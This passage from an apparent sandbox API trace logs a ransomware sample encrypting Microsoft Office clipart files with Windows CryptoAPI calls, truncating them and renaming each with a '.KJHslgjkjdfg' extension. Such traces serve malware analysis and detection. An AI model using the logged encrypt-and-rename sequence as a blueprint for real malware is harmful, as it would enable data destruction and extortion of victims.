lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.674] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.674] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.674] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.674] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.674] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.674] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.674] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x795c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x795c, lpOverlapped=0x0) returned 1 [0181.676] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7960, dwBufLen=0x7960 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7960) returned 1 [0181.676] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.676] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7960, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7960, lpOverlapped=0x0) returned 1 [0181.676] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.676] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.676] SetEndOfFile (hFile=0x114) returned 1 [0181.679] GetProcessHeap () returned 0x2a0000 [0181.679] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.679] GetProcessHeap () returned 0x2a0000 [0181.679] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.679] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf.kjhslgjkjdfg")) returned 1 [0181.680] CloseHandle (hObject=0x114) returned 1 [0181.680] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x523e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285782.WMF", cAlternateFileName="")) returned 1 [0181.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.683] GetProcessHeap () returned 0x2a0000 [0181.683] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.683] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.683] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.683] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0181.685] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.685] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.685] GetProcessHeap () returned 0x2a0000 [0181.685] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.685] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.685] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.685] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.685] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.685] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.685] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.685] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.685] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.685] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.685] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.685] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.685] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x523e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x523e, lpOverlapped=0x0) returned 1 [0181.686] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5240, dwBufLen=0x5240 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5240) returned 1 [0181.687] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.687] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5240, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5240, lpOverlapped=0x0) returned 1 [0181.687] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.687] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.687] SetEndOfFile (hFile=0x114) returned 1 [0181.689] GetProcessHeap () returned 0x2a0000 [0181.689] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.689] GetProcessHeap () returned 0x2a0000 [0181.689] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.689] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf.kjhslgjkjdfg")) returned 1 [0181.691] CloseHandle (hObject=0x114) returned 1 [0181.691] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2eb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285792.WMF", cAlternateFileName="")) returned 1 [0181.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.691] GetProcessHeap () returned 0x2a0000 [0181.691] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.691] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.692] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.692] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0181.694] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.694] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.694] GetProcessHeap () returned 0x2a0000 [0181.694] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.694] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.694] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.694] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.694] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.694] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.694] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.694] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.694] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.694] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.694] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.694] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.694] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2eb4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2eb4, lpOverlapped=0x0) returned 1 [0181.695] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2ec0, dwBufLen=0x2ec0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2ec0) returned 1 [0181.695] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.695] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2ec0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2ec0, lpOverlapped=0x0) returned 1 [0181.696] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.696] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.696] SetEndOfFile (hFile=0x114) returned 1 [0181.698] GetProcessHeap () returned 0x2a0000 [0181.698] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.698] GetProcessHeap () returned 0x2a0000 [0181.698] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf.kjhslgjkjdfg")) returned 1 [0181.699] CloseHandle (hObject=0x114) returned 1 [0181.699] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285796.WMF", cAlternateFileName="")) returned 1 [0181.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.701] GetProcessHeap () returned 0x2a0000 [0181.701] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.701] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.701] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.701] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.701] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.701] GetProcessHeap () returned 0x2a0000 [0181.701] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.701] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.701] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.701] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.703] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.703] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.703] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.703] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.703] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.703] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.703] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.703] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.703] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3550, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3550, lpOverlapped=0x0) returned 1 [0181.704] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3550, dwBufLen=0x3550 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3550) returned 1 [0181.704] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.704] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3550, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3550, lpOverlapped=0x0) returned 1 [0181.705] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.705] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.705] SetEndOfFile (hFile=0x114) returned 1 [0181.707] GetProcessHeap () returned 0x2a0000 [0181.707] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.707] GetProcessHeap () returned 0x2a0000 [0181.707] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.707] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf.kjhslgjkjdfg")) returned 1 [0181.708] CloseHandle (hObject=0x114) returned 1 [0181.708] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285808.WMF", cAlternateFileName="")) returned 1 [0181.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.709] GetProcessHeap () returned 0x2a0000 [0181.710] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.710] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.710] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.710] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0181.712] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.712] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.712] GetProcessHeap () returned 0x2a0000 [0181.712] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.712] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.712] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.712] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.712] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.712] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.712] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.712] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.712] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.712] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.712] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.712] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.713] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x23f4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x23f4, lpOverlapped=0x0) returned 1 [0181.713] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2400, dwBufLen=0x2400 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2400) returned 1 [0181.713] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 